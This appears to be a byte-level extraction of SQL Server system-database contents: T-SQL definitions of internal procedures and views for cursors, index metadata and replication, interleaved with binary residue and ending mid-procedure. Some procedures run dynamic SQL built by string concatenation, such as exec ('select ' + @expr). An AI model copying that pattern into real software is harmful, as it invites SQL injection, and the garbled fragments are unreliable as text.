!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`}	<H|K\x0.$ *8-- Creation of sp_describe_cursor_columns

create procedure sys.sp_describe_cursor_columns
(  @cursor_return CURSOR VARYING OUTPUT,
   @cursor_source nvarchar (30),
   @cursor_identity nvarchar (128)
)
AS
declare @scope int
select @cursor_source = LOWER (@cursor_source collate Latin1_General_CI_AS)

/* Check if the cursor exists by name or handle. */
If cursor_status ( @cursor_source, @cursor_identity ) >= -1
begin
	if convert(varchar(30), @cursor_source) = 'local' OR
		convert(varchar(128), @cursor_source) = 'variable'
		select @scope = 1
	else
	if convert(varchar(30), @cursor_source) = 'global'
		select @scope = 2

	set @cursor_return =  	CURSOR LOCAL SCROLL DYNAMIC FOR
				SELECT column_name, ordinal_position, column_characteristics_flags,
					column_size, 
					convert(smallint, case when data_type_sql > 32767 then 0 else data_type_sql end) as "data_type_sql", 
					column_precision,
					column_scale, order_position, order_direction,
					hidden_column, columnid, objectid, dbid, dbname
				FROM sys.syscursorrefs scr, sys.syscursorcolumns scc
				WHERE 	scr.cursor_scope = @scope and
					scr.reference_name = @cursor_identity and
					scr.cursor_handl = scc.cursor_handle
				ORDER BY 2
				FOR READ ONLY
	open @cursor_return

end
02% 8
create view sys.spt_indexes_view_100
as
    select
    -- begin (for doing joins)
        OBJECT_ID           = o.object_id,
        SCHEMA_ID           = o.schema_id,
    -- end (for doing joins)
        TABLE_CATALOG       = db_name(),
        TABLE_SCHEMA        = schema_name(o.schema_id),
        TABLE_NAME          = o.name,
        INDEX_CATALOG       = db_name(),        
        INDEX_SCHEMA        = schema_name(o.schema_id),
        INDEX_NAME          = x.name,
        PRIMARY_KEY         = x.is_primary_key,
        "UNIQUE"            = x.is_unique,
        "CLUSTERED"         = convert(bit,case when x.index_id = 1 then 1 else 0 end),
        "TYPE"              = convert(smallint, 1), -- DBPROPVAL_IT_BTREE
        FILL_FACTOR         = convert(int, x.fill_factor),
        INITIAL_SIZE        = convert(int,null),
        NULLS               = convert(int,null),
        SORT_BOOKMARKS      = convert(bit,0),
        AUTO_UPDATE         = convert(bit,1),
        NULL_COLLATION      = convert(int,4), -- DBPROPVAL_NC_LOW
        ORDINAL_POSITION    = convert(int, 
                    case 
                      when x.type < 3 then s_ic.key_ordinal
                      else 1            -- use 1 as the column ordinal for single column indexes
                    end),
        COLUMN_NAME         = col_name(o.object_id, s_ic.column_id),
        COLUMN_GUID         = convert(uniqueidentifier,null),
        COLUMN_PROPID       = convert(int,null),
        "COLLATION"         = convert(smallint,
                                        case
                                        when s_ic.is_descending_key = 1
                                        then 2 -- DB_COLLATION_DESC
                                        else 1 -- DB_COLLATION_ASC
                                        end),
        CARDINALITY         = case
                                when x.is_unique = 1 then 
                                    convert (int, 0x7FFFFFFF & p.rows)  -- handle overflow
                                else 
                                    null 
                              end,
        PAGES               = p.data_pages,
        FILTER_CONDITION    = x.filter_definition,
        INTEGRATED          = convert(bit,case when x.index_id = 1 then 1 else 0 end),
        STATUS              = convert(int, IndexProperty(o.object_id, x.name, 'isfulltextkey'))

    from
        sys.indexes x inner join
        sys.objects o on -- Yukon doesn't expose indexes on its system objects, so only user objects are useful.
            (
                x.object_id = o.object_id and 
                x.is_hypothetical = 0
            ) inner join
        sys.index_columns s_ic on 
            (
                x.index_id = s_ic.index_id and 
                o.object_id = s_ic.object_id
            ) left join
        sys.index_counts p on
            (
                p.object_id = x.object_id and 
                p.index_id = x.index_id
            )
    where
        s_ic.key_ordinal > 0 OR x.type = 3 OR x.type = 4 
    -- exclude INCLUDE and Partitioned index columns, but include xml and spatial indexes which don't include "key" columns

0!3 8 
-- add it
create view sys.dm_pdw_nodes_os_workers as
select *, convert(int, null) pdw_node_id from sys.dm_os_workers
07@ V8create procedure sys.sp_MSsetbit
    @bm varbinary(128) output,
    @coltoadd smallint,
    @toset    int = 1
AS
    declare @bytenum smallint
    declare @bit smallint
    declare @mask tinyint
    declare @newbyte tinyint     
    declare @oldbyte tinyint
            
    SELECT @bytenum = 1 + FLOOR((@coltoadd-1)/8)

    IF @bytenum > 128 return 0

    SELECT @bit = (@coltoadd-1) % 8

    SET @mask = POWER(2, @bit)
    if @toset = 0
        SET @mask = (~@mask % 256)
                
    if @bm is null
        set @bm = 0x0
    while datalength(@bm) < @bytenum
        set @bm = @bm + 0x00 

    SET @oldbyte = SUBSTRING( @bm, @bytenum, 1)
    IF @oldbyte IS NULL SET @oldbyte = 0
    if @toset <> 0            
        SET @newbyte = @oldbyte | @mask
    else
        SET @newbyte = @oldbyte & @mask

    if (@bytenum = 1)
        set @bm = convert(binary(1), @newbyte) + substring(@bm, 2, 127)
    else
        set @bm = substring(@bm, 1, @bytenum - 1) + convert(binary(1), @newbyte) + substring(@bm, @bytenum + 1, 128 - @bytenum)
0
U8 8create procedure sys.sp_MSdrop_6x_replication_agent
@job_id UNIQUEIDENTIFIER,
@category_id int
as
    declare @distbit int
    declare @db_name sysname
    declare @cmd nvarchar(4000)

    select @distbit = 16

    -- Only perform cleanup of 6x replication agent if caller 
    -- is sysadmin member. This is compromise between the need to 
    -- maintain very old (and deprecated) functionality and the 
    -- need to keep things secured 
    if is_srvrolemember('sysadmin') <> 1
        return 0

    declare hCdatabase CURSOR LOCAL FAST_FORWARD FOR
        select name from master.dbo.sysdatabases 
            where
            category & @distbit <> 0 
        for read only

    open hCdatabase
    fetch next from hCdatabase into @db_name
    while (@@fetch_status <> -1)
    begin

        if @category_id = 13
        begin
            select @cmd = N'delete from ' + QUOTENAME(@db_name) + N'.dbo.MSlogreader_agents where job_id = convert (uniqueidentifier, ''' +
                convert (nvarchar(100), @job_id) + N''')'
            exec (@cmd)
        end
        else if @category_id = 15   
        begin
            select @cmd = QUOTENAME(@db_name) + N'.dbo.sp_MSdrop_6x_publication'
            exec @cmd @job_id = @job_id
        end
        else
            return 0

        if @@ERROR <> 0
            return 1
        
        fetch next from hCdatabase into @db_name
    end
    close hCdatabase
    deallocate hCdatabase
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Q``	|<P}W!
	l0u N8CREATE PROCEDURE sys.sp_MScreate_peer_tables
AS
BEGIN
    DECLARE @retcode bit

    begin transaction tran_sp_MScreate_peer_tables
    save transaction tran_sp_MScreate_peer_tables
    
    IF OBJECT_ID(N'MSpeer_lsns', 'U') is NULL
    BEGIN
        CREATE TABLE dbo.MSpeer_lsns
        (
            id                         	int identity(1,1) primary key nonclustered,
            last_updated               	datetime null default getdate(),
            originator                  sysname,
            originator_db               sysname,
            originator_publication      sysname,
            originator_publication_id   int null,
            originator_db_version       int null,
            originator_lsn              varbinary(16) null,
            originator_version	    int NULL, --server build version of the peer
            originator_id		    int NULL -- 4 bytes are used
        )
        IF @@ERROR <> 0
            GOTO UNDO

        EXEC @retcode = dbo.sp_MS_marksystemobject N'MSpeer_lsns'
        IF @@ERROR <> 0 or @retcode <> 0
            GOTO UNDO

        CREATE UNIQUE CLUSTERED INDEX uci_MSpeer_lsns
    	ON dbo.MSpeer_lsns
    	(
			originator,
			originator_db,
    			originator_publication_id,
			originator_db_version,
			originator_lsn
    	)
       IF @@ERROR <> 0
           GOTO UNDO

    	CREATE INDEX nci_MSpeer_lsns
    	ON dbo.MSpeer_lsns
    	(
			originator_publication
    	)
        IF @@ERROR <> 0
            GOTO UNDO
            
    END

    IF EXISTS (select * from sys.objects where name = 'syspublications')
    BEGIN
    	    IF OBJECT_ID(N'MSpeer_request', 'U') is NULL
	    BEGIN
	        CREATE TABLE dbo.MSpeer_request
       	 (
	            id            int  identity(1,1),
	            publication    sysname,
	            sent_date    datetime null default getdate(),
	            description    nvarchar(4000) null
       	 )
	        IF @@ERROR <> 0
       	     GOTO UNDO

	        EXEC @retcode = dbo.sp_MS_marksystemobject N'MSpeer_request'
       	 IF @@ERROR <> 0 or @retcode <> 0
	            GOTO UNDO
	    END

	    IF OBJECT_ID(N'MSpeer_response', 'U') is NULL
	    BEGIN
       	 CREATE TABLE dbo.MSpeer_response
	        (
       	     request_id        int null,
	            peer            sysname,
	            peer_db            sysname,
	            received_date    datetime NULL
       	 )
	        IF @@ERROR <> 0
       	     GOTO UNDO

	        EXEC @retcode = dbo.sp_MS_marksystemobject N'MSpeer_response'
	        IF @@ERROR <> 0  or @retcode <> 0
       	     GOTO UNDO
	    END

	    IF OBJECT_ID(N'MSpeer_topologyrequest', 'U') is NULL
	    BEGIN
       	 CREATE TABLE dbo.MSpeer_topologyrequest
	        (
       	     id            int    identity(1,1),
	            publication    sysname,
       	     sent_date    datetime null default getdate()
	        )
	        IF @@ERROR <> 0
       	     GOTO UNDO

	        EXEC @retcode = dbo.sp_MS_marksystemobject N'MSpeer_topologyrequest'
	        IF @@ERROR <> 0  or @retcode <> 0 
       	     GOTO UNDO
	    END

	    IF OBJECT_ID(N'MSpeer_topologyresponse', 'U') is NULL
	    BEGIN
	        CREATE TABLE dbo.MSpeer_topologyresponse
       	 (
	            request_id        int null,
	            peer            sysname,
	            peer_version	int NULL,  --server build version of the peer
	            peer_db            sysname,
	            originator_id	int  NULL,  -- 4  bytes are used
	            peer_conflict_retention int NULL, 
	            received_date    datetime NULL,
	            connection_info    XML null
       	 )
	        IF @@ERROR <> 0
       	     GOTO UNDO

	        EXEC @retcode = dbo.sp_MS_marksystemobject N'MSpeer_topologyresponse'
	        IF @@ERROR <> 0  or @retcode <> 0 
       	     GOTO UNDO
	    END


	    IF OBJECT_ID(N'MSpeer_originatorid_history', 'U') is NULL
	    BEGIN
	        CREATE TABLE dbo.MSpeer_originatorid_history
	        (
	            originator_publication sysname, 
	            originator_id		int not null, -- 4 bytes are used 
	            originator_node        sysname,
	            originator_db            sysname,
	            originator_db_version int not null,
	            originator_version	int not null,  --server build version of the peer
		     inserted_date    datetime not null default getdate()
	        )
	        IF @@ERROR <> 0
       	     GOTO UNDO

	        EXEC @retcode = dbo.sp_MS_marksystemobject N'MSpeer_originatorid_history'
	        IF @@ERROR <> 0 or @retcode <> 0 
       	     GOTO UNDO

	       CREATE UNIQUE CLUSTERED INDEX uci_MSpeer_originatorid_history
	    	ON dbo.MSpeer_originatorid_history
	    	(
	    		originator_publication,
	    		originator_id,
	    		originator_node,
	    		originator_db,
	    		originator_db_version
    		)
	    END

	    IF OBJECT_ID(N'MSpeer_conflictdetectionconfigrequest', 'U') is NULL
	    BEGIN
	        CREATE TABLE dbo.MSpeer_conflictdetectionconfigrequest
	        (
	            id					int   identity(1,1) not null primary key,
	            publication				sysname, 
	            sent_date				datetime not null default getdate(),
	            timeout				int not null, --seconds
	            modified_date			datetime not null default getdate(),
	            progress_phase			nvarchar(32) not null,
	            phase_timed_out		bit not null
	        )
	        IF @@ERROR <> 0
       	     GOTO UNDO

	        EXEC @retcode = dbo.sp_MS_marksystemobject N'MSpeer_conflictdetectionconfigrequest'
	        IF @@ERROR <> 0 or @retcode <> 0
       	     GOTO UNDO
   		END

	  IF OBJECT_ID(N'MSpeer_conflictdetectionconfigresponse', 'U') is NULL
	  BEGIN
       	CREATE TABLE dbo.MSpeer_conflictdetectionconfigresponse
	        (
       	     request_id				int not null,
	            peer_node			       sysname,
	            peer_db				sysname,
	            peer_version			int NULL,  --server build version of the peer
	            peer_db_version		int NULL,
       	     is_peer				bit NULL, --once set, later rounds would expect response from it
	            conflictdetection_enabled bit NULL,
	            originator_id			int NULL,
	            peer_conflict_retention 	int NULL,
	            peer_continue_onconflict  bit NULL,
	            peer_subscriptions		xml NULL, --list of (sub_node, sub_db)
	            progress_phase			nvarchar(32) not null,
		     modified_date			datetime null default getdate()          
       	 )
	        IF @@ERROR <> 0
       	     GOTO UNDO

	        EXEC @retcode = dbo.sp_MS_marksystemobject N'MSpeer_conflictdetectionconfigresponse'
       	 IF @@ERROR <> 0 or @retcode <> 0
	            GOTO UNDO

	       CREATE UNIQUE CLUSTERED INDEX uci_MSpeer_conflictdetectionconfigresponse
	    	ON dbo.MSpeer_conflictdetectionconfigresponse
	    	(
    			request_id,
			peer_node,
            		peer_db
    		)
      END  
    END

	--add conflict detection alert on subscriber
    declare @alert_name nvarchar(max) = formatmessage(22827)    
				,@alert_id int = 22815 
				,@category_name sysname

 	SELECT	@category_name = name
    	FROM	msdb.dbo.syscategories
    	WHERE	category_id = 20

    IF NOT EXISTS
    (
    	SELECT	*
    	FROM	msdb.dbo.sysalerts
    	WHERE	message_id = @alert_id
    )
    BEGIN
        EXEC @retcode = msdb.dbo.sp_add_alert	@enabled = 0,
        										@name = @alert_name,
        										@category_name = @category_name,
        										@message_id = @alert_id

        IF (@@ERROR != 0 OR @retcode != 0)
        BEGIN
             goto UNDO
        END
    END

   
    commit transaction tran_sp_MScreate_peer_tables

    return 0
UNDO:
    rollback transaction tran_sp_MScreate_peer_tables
    commit transaction tran_sp_MScreate_peer_tables
    
    return 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`s<~-0e8 88U0	~0O 8 
-- add it
create view sys.dm_pdw_nodes_exec_query_stats as
select *, convert(int, null) pdw_node_id from sys.dm_exec_query_stats
0 D8?h+0 8
create procedure sys.sp_assembly_dependencies_rowset
(
    @assembly_id            int = null,
    @assembly_schema        sysname = null,
    @assembly_referenced    int = null
)
as
    select
        ASSEMBLY_CATALOG        = db_name(),
        ASSEMBLY_SCHEMA         = user_name(a.principal_id),
        ASSEMBLY_ID             = ar.assembly_id,
        REFERENCED_ASSEMBLY_ID  = ar.referenced_assembly_id
    from
        sys.assembly_references ar inner join
        sys.assemblies a on
            (
                a.assembly_id = ar.assembly_id
            )
    where
        ar.assembly_id = @assembly_id and
        (@assembly_schema is null or a.principal_id = user_id(@assembly_schema)) and
        (@assembly_referenced is null or @assembly_referenced = 0 or @assembly_referenced = ar.referenced_assembly_id)
    order by 1, 2
0C 	8
create procedure sys.sp_procedure_params_100_rowset
(
    @procedure_name     sysname,
    @group_number       int = 1,
    @procedure_schema   sysname = null,
    @parameter_name     sysname = null
)
as
    select
        PROCEDURE_CATALOG                     = s_pp.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA                      = s_pp.PROCEDURE_SCHEMA,
        PROCEDURE_NAME                        = s_pp.PROCEDURE_NAME,
        PARAMETER_NAME                        = s_pp.PARAMETER_NAME,
        ORDINAL_POSITION                      = s_pp.ORDINAL_POSITION,
        PARAMETER_TYPE                        = s_pp.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT                  = s_pp.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT                     = s_pp.PARAMETER_DEFAULT,
        IS_NULLABLE                           = s_pp.IS_NULLABLE,
        DATA_TYPE                             = s_pp.DATA_TYPE,
        CHARACTER_MAXIMUM_LENGTH              = s_pp.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH                = s_pp.CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION                     = s_pp.NUMERIC_PRECISION,
        NUMERIC_SCALE                         = s_pp.NUMERIC_SCALE,
        DESCRIPTION                           = s_pp.DESCRIPTION,
        TYPE_NAME                             = s_pp.TYPE_NAME,
        LOCAL_TYPE_NAME                       = s_pp.LOCAL_TYPE_NAME,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME   = s_pp.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME    = s_pp.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME           = s_pp.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME                    = s_pp.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME                     = s_pp.SS_UDT_SCHEMANAME,
        SS_UDT_NAME                           = s_pp.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME              = s_pp.SS_UDT_ASSEMBLY_TYPENAME,
        SS_TYPE_CATALOG_NAME                  = s_pp.SS_TYPE_CATALOG_NAME,
        SS_TYPE_SCHEMANAME                    = s_pp.SS_TYPE_SCHEMANAME,
        SS_DATETIME_PRECISION                 = s_pp.SS_DATETIME_PRECISION
    from
        sys.fn_procedure_params_90_rowset(
          @procedure_name,
          @group_number,
          @procedure_schema,
          @parameter_name) s_pp

    order by 2, 3, 5
    option (OPTIMIZE CORRELATED UNION ALL)
09@ (8create procedure sys.sp_MSunmarkschemaobject(
    @object           sysname,     
    @owner            sysname = NULL
)AS
begin
    set nocount on
    declare @qualified_name nvarchar(517)
    declare @id int
    declare @retcode int

    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error<>0 or @retcode <>0
        return (1)

    if (@owner is null or @owner = N'')
    begin
        select @owner = schema_name()
    end
    select @qualified_name = QUOTENAME(@owner) + '.' + QUOTENAME(@object)

    BEGIN TRANSACTION
    select @id = object_id(@qualified_name)
    if not (@id is null)
    begin
        EXEC %%Object(MultiName = @qualified_name).LockMatchID(ID = @id, Exclusive = 1, BindInternal = 0)
        --EXEC %%Object(MultiName = @qualified_name).LockExclusiveMatchID(ID = @id)
        if @@error <> 0
            select @id = null
    end

    if not (@id is null)
        EXEC %%Object(ID = @id).SetSchemaPublished(Value = 0)
    COMMIT TRANSACTION

    return 0    
end
0st 88,{E50Kp@ i8create procedure sys.sp_MSclearresetpartialsnapshotprogressbit
(
    @agent_id int
)
as
begin
    set nocount on
    declare @retcode int
    
    set @retcode = 0

    --
    -- PAL Security Check
    --
    exec @retcode = sys.sp_MScheck_pull_access
        @agent_id = @agent_id,
        @agent_type = 0 -- distribution agent
    if @@error <> 0 or @retcode <> 0
        return (1)

    update dbo.MSdistribution_agents
       set reset_partial_snapshot_progress = 0
     where id = @agent_id 
    if @@error <> 0 or @retcode <> 0
        return (1)

end
0O@ D8)h
9
0f D8w.h
L)
0e@ 8create procedure sys.sp_MSevalsubscriberinfo 
    (@pubid uniqueidentifier)
as
    -- Security Checking 
    -- PAL users have access

    if ({fn ISPALUSER(@pubid)} <> 1)
    begin
        if (@pubid is NULL)
        begin
            RAISERROR (21723, 16, -1, 'sp_MSevalsubscriberinfo')
            return 1
        end
        else
        begin
            RAISERROR (14126, 11, -1)
            return 1
        end
    end
        
    declare @expr nvarchar(500)
    select @expr = validate_subscriber_info from dbo.sysmergepublications  where pubid = @pubid
    exec ('select ' + @expr)
    if @@error<>0 return(1)
    
    return(0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?"`<X'404/ 8
create procedure sys.sp_tables_info_90_rowset2_64
(
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG           = s_tiv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_tiv.TABLE_SCHEMA,
        TABLE_NAME              = s_tiv.TABLE_NAME,
        TABLE_TYPE              = s_tiv.TABLE_TYPE,
        TABLE_GUID              = s_tiv.TABLE_GUID,
        BOOKMARKS               = s_tiv.BOOKMARKS,
        BOOKMARK_TYPE           = s_tiv.BOOKMARK_TYPE,
        BOOKMARK_DATATYPE       = convert(smallint, 21), --DBTYPE_UI8
        BOOKMARK_MAXIMUM_LENGTH = convert(int, 8),
        BOOKMARK_INFORMATION    = s_tiv.BOOKMARK_INFORMATION,
        TABLE_VERSION           = s_tiv.TABLE_VERSION,
        CARDINALITY             = s_tiv.CARDINALITY,
        DESCRIPTION             = s_tiv.DESCRIPTION,
        TABLE_PROPID            = s_tiv.TABLE_PROPID,
        TABLE_FLAGS             = s_tiv.TABLE_FLAGS
    from
        sys.spt_tables_info_view s_tiv
    where
        (@table_schema is null or schema_id(@table_schema) = s_tiv.schema_id) and
        (@table_type is null or @table_type = s_tiv.TABLE_TYPE)
    order by 4, 2, 3
01: 
8create procedure sys.sp_MSscriptforeignkeyrestore (
    @program_name               sysname,
    @constraint_name            sysname,
    @parent_schema              sysname,
    @parent_name                sysname,
    @referenced_object_schema   sysname,
    @referenced_object_name     sysname,
    @is_not_for_replication     bit,
    @is_not_trusted             bit,
    @delete_referential_action  tinyint,
    @update_referential_action  tinyint
    )
as
begin
    set nocount on

    declare @retcode int
    declare @number_of_key_columns int

    declare @script table (line_number int identity primary key, line nvarchar(4000))

    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
        return 1

    select @number_of_key_columns = count(*)
      from dbo.MSsavedforeignkeycolumns
     where program_name = @program_name
       and constraint_name = @constraint_name
       and parent_schema = @parent_schema 

    insert into @script (line) values (N'alter table ' + quotename(@parent_schema) + N'.' + quotename(@parent_name))
    if @is_not_trusted = 1
    begin
        insert into @script (line) values (N'with nocheck')    
    end
    insert into @script (line) values (N'add constraint ' + quotename(@constraint_name) + N' foreign key (' )

    insert into @script (line) 
        select quotename(referencing_column_name)
          from dbo.MSsavedforeignkeycolumns
         where program_name = @program_name
           and constraint_name = @constraint_name
           and parent_schema = @parent_schema
           and constraint_column_id = 1

    insert into @script (line)
        select N', ' + quotename(referencing_column_name)
          from dbo.MSsavedforeignkeycolumns
         where program_name = @program_name
           and constraint_name = @constraint_name
           and parent_schema = @parent_schema
           and constraint_column_id > 1
        order by constraint_column_id asc

    insert into @script (line) values (N') references ' + quotename(@referenced_object_schema) + N'.' + quotename(@referenced_object_name) + N' (')

    insert into @script (line) 
        select quotename(referenced_column_name)
          from dbo.MSsavedforeignkeycolumns
         where program_name = @program_name
           and constraint_name = @constraint_name
           and parent_schema = @parent_schema
           and constraint_column_id = 1

    insert into @script (line)
        select N', ' + quotename(referenced_column_name)
          from dbo.MSsavedforeignkeycolumns
         where program_name = @program_name
           and constraint_name = @constraint_name
           and parent_schema = @parent_schema
           and constraint_column_id > 1
        order by constraint_column_id asc

    insert into @script (line)
    select N') on delete ' + 
        case @delete_referential_action 
            when 1 then N'cascade '
            when 2 then N'set null '
            when 3 then N'set default '
            else N'no action '
        end +
        'on update ' +
        case @update_referential_action
            when 1 then N'cascade '
            when 2 then N'set null '
            when 3 then N'set default '
            else N'no action '
        end +
        case when @is_not_for_replication = 1 then N'not for replication'
             else N''
        end

    select line from @script order by line_number asc    

end
0N 8create procedure sys.sp_MSproxylogshippingmonitorhistory 
(
    @mode tinyint -- 1 = add, 2 = delete
    ,@agent_id uniqueidentifier
    ,@agent_type tinyint  -- 0 = backup, 1 = copy, 2 = restore
    ,@session_id int = NULL 
    ,@session_status tinyint = NULL  -- 0 = Starting, 1 = Running, 2 = Success, 3 = Error, 4 = Warning
    ,@monitor_server sysname 
    ,@database sysname = NULL -- needed for add
    ,@log_time datetime = NULL
    ,@log_time_utc datetime = NULL
